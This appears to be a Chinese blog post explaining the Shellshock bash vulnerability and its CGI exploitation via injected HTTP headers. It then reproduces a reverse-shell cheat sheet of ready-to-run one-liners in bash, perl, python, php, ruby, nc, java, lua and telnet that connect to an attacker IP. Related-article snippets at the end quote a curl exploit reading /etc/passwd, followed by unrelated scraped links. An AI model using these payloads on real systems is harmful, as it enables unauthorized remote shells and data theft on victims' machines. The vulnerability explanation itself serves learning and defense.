这一漏洞的描述如下：

Shellshock (CVE-2014-6271, CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187) is a vulnerability in GNU's bash shell that gives attackers access to run remote commands on a vulnerable system. If your system has not updated bash in since Tue Sep 30 2014: 1:32PM EST (See patch history), you're most definitely vulnerable and have been since first boot. This security vulnerability affects versions 1.14 (released in 1994) to the most recent version 4.3 according to NVD.

这里还有一个测试这一漏洞的脚本：

shellshock_test.sh

至于原理，看了半天，大概有点明白了：

　　漏洞的关键在于bash会把定义的各种函数放到env里面去，大致的格式如下：

$ function foo { echo bar; }

$ export -f foo

$ env | grep -A1 foo

foo=() { echo bar

}

　　这样的话，是不是可以放一个假的函数进去呢？答案是，可以！而且，这里的关键在于，这里它执行函数的时候，不是检测完整的“{}”对，而是简单的执行“{”之后的所有bash代码！！！也包括你放进去的代码。。。所以，为什么不放点东西进去让它执行？

　　那么话说回来了，是不是不执行bash不就完事了？理论上是这样的。但是，事情总有意外，比如，你在编程的时候使用了systcall之类的，去运行了shell指令。你的程序继承了父程序的环境变量，你调用的systemcall空间继承了你程序的环境变量，然后，它就可能顺带的执行被注入到环境变量中的代码。

下面是360提供的简单测试sh的一个方案：

1. 服务器端有一个shell脚本，内容随意，可以如下：

#!/bin/bash

echo "Content-type: text/html"

echo ""

echo '<html>'

echo '<head>'

echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'

echo '<title>PoC</title>'

echo '</head>'

echo '<body>'

echo '<pre>'

/usr/bin/env

echo '</pre>'

echo '</body>'

echo '</html>'

exit

2. 此时，用户端是可以用浏览器，curl，wget，nc...等等工具去连接你的服务器，并触发这个脚本的。比如，curl，可以看到：

3. 注意，这是正常情况！！！正常情况就是该显示嘛，就显示嘛！！！但是，WEB服务器都是把http的header都先放到ENV里面去的。所以，有了下面的访问（nc和wget类似，给传header就行）：

4.咳咳。。然后你就欢快的看到了下面的情形。http的header被服务器放到了ENV里；ENV被作为cgi的bash脚本继承。当作为cgi的shell脚本执行时，注入的这一个“假函数”也被执行。而这一段假函数做的事，则是把bash挂到“某IP”的8080端口上。。。所以，在“某IP”上用nc监听时，我们看到bash热情的向我们奔来。

顺带搜了下其他的反弹shell的方式。。。只在这里做个记录，大致看了下，有些有错误的。基本上都是建立一个tcp链接，然后把bash以交互式方式打开(-i interactive)，然后把输入输出都重定向到这条TCP链接上。

bash版本：

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
注意这个是由解析shell的bash完成，所以某些情况下不支持
 
perl版本:
perl -e ‘use Socket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
 
python版本：
python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1″,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’
 
php版本：
php -r ‘$sock=fsockopen(“10.0.0.1″,1234);exec(“/bin/sh -i <&3 >&3 2>&3″);’
 
ruby版本：
ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1″,1234).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
 
nc版本：
1 nc -e /bin/sh 10.0.0.1 1234
2 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
3  nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
 
java版本：
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
 
lua版本：
lua -e “require(’socket’);require(‘os’);t=socket.tcp();t:connect(‘10.0.0.1′,’1234′);os.execute(‘/bin/sh -i <&3 >&3 2>&3′);”
 
nc不使用-e：
Hacker:nc -lvnp listenport
Victim:mknod /tmp/backpipe p
Victim:/bin/sh 0/tmp/backpipe
 
不使用nc
Method 1:
Hacker: nc -nvlpp 8080
Victim: /bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1
 
Method 2:
Hacker: nc -nvlpp8080
Victim: mknod backpipe p && telnet 173.214.173.151 8080 0backpipe
 
Method 3:
Hacker: nc -nvlpp8080
Hacker: nc -nvlpp8888
Victim: telnet 173.214.173.151 8080 | /bin/bash | telnet 173.214.173.151 8888
 
参考：http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

关于bash的shellshock漏洞的更多相关文章

  1. Shellshock漏洞复现

    漏洞分析: exp: curl -A "() { :; }; echo; /bin/cat /etc/passwd" http://172.16.20.134:8080/victi ...

  2. 威胁远胜“心脏出血”？国外新爆Bash高危安全漏洞

    这几天Linux用户们可能不能愉快地玩耍了,红帽(Redhat)安全团队昨天爆出一个危险的Bash Shell漏洞.其带来的威胁可能比早前披露的“心脏出血”漏洞更大更强! [OpenSSL心脏出血漏洞 ...

  3. Bash Shellshock(CVE-2014-6271)破壳漏洞测试

    0x01 漏洞原理 Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以"(){"开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行 ...

  4. 详细的漏洞复现：Shellshock CVE-2014-6271 CVE-2014-7169

    目录 前言 漏洞原理 利用方式 复现过程 1. 环境准备 (1) 为容器配置固定IP地址 (2) 查看bash版本 2. 本地验证:测试镜像系统是否存在漏洞 3. 远程模拟验证(原理验证) (1) 查 ...

  5. CVE-2014-6271 Shellshock 破壳漏洞 复现

    补坑. 什么是shellshock ShellShock是一个BashShell漏洞(据说不仅仅是Bash,其他shell也可能有这个漏洞). 一般情况来说,系统里面的Shell是有严格的权限控制的, ...

  6. Shellshock 破壳漏洞 Writeup

    破壳漏洞 CVE编号:CVE-2014-6271 题目URL:http://www.whalwl.site:8029/ 提示:flag在服务器根目录 ShellShock (CVE-2014-6271 ...

  7. bash shell漏洞及测试

    1.bash shell是大多数linux发行版本的默认shell命令解释器,但是最近爆出bash shell存在漏洞. 2.如果Bash是默认的系统shell,网络攻击者可以通过发送Web请求.se ...

  8. linux_曝出重大bash安全漏洞及修复方法

    日前Linux官方内置Bash中新发现一个非常严重安全漏洞(漏洞参考https://access.redhat.com/security/cve/CVE-2014-6271  ),黑客可以利用该Bas ...

  9. ShellShock 攻击实验

    一. 实验描述 2014年9月24日,Bash中发现了一个严重漏洞shellshock,该漏洞可用于许多系统,并且既可以远程也可以在本地触发.在本实验中,学生需要亲手重现攻击来理解该漏洞,并回答一些问 ...

随机推荐

  1. Linq中查询List组合相同值数量大于1

     List< select g.Key).ToList();

  2. 19SpringMvc_在业务控制方法中收集List集合中包含JavaBean参数

    本文要实现的功能是给一张表单:

  3. sql 索引 填充因子（转）

    和索引重建最相关的是填充因子.当创建一个新索引,或重建一个存在的索引时,你可以指定一个填充因子,它是在索引创建时索引里的数据页被填充的数量.填充因子设置为100意味着每个索引页100%填满,50%意味 ...

  4. maven中的 dependencies 和 dependencyManagement 的区别

    今天我在配置 sellercenter 的接口测试环境的时候,发现一些依赖的写法不太一致: 比如有的依赖的<scope>是写在子项目中的 <dependencies> 下的&l ...

  5. python package 的两种组织方式

    方式一/package1/ .../__init__.py # 空文件 .../class1.py class Class1: def __init__(self): self.name = &quo ...

  6. js第一天

    学习js的地址 http://www.w3school.com.cn/js/index.asp JS是一种轻量级的编程语言,插入html页面后可以由任何浏览器去执行,可用于 HTML 和 web,更可 ...

  7. Linux常用指令---系统管理

    四.linux服务器" [have no space]"开发机dev2上不管是upa/upc上传文件时,会挂载在/目录下,而此时这里只有3G空间,通过df -h显示各大挂载点使用情 ...

  8. [CareerCup] 4.9 All Paths Sum 所有路径和

    4.9 You are given a binary tree in which each node contains a value. Design an algorithm to print al ...

  9. JS实现星级评价

    说明: 本方法采用了Jquery库,暂时检测兼容IE8版本.本示例的2种颜色的星星都是放入了一张png图片当中,当然还有其他的一些实现思路.本示例展示的情况是当前页面只有一个星级评价的情况. 思路: ...

  10. 给 Xamarin.Form For Windows Phone APP 加个漂亮的 "头"

    Windows Phone 是那个1%, 我也是那个1%, 不喜勿喷.WP 向来给 android / ios 的粉们一个最直观的印象: 丑.其实"丑"这个东西会一直下去,而且是个 ...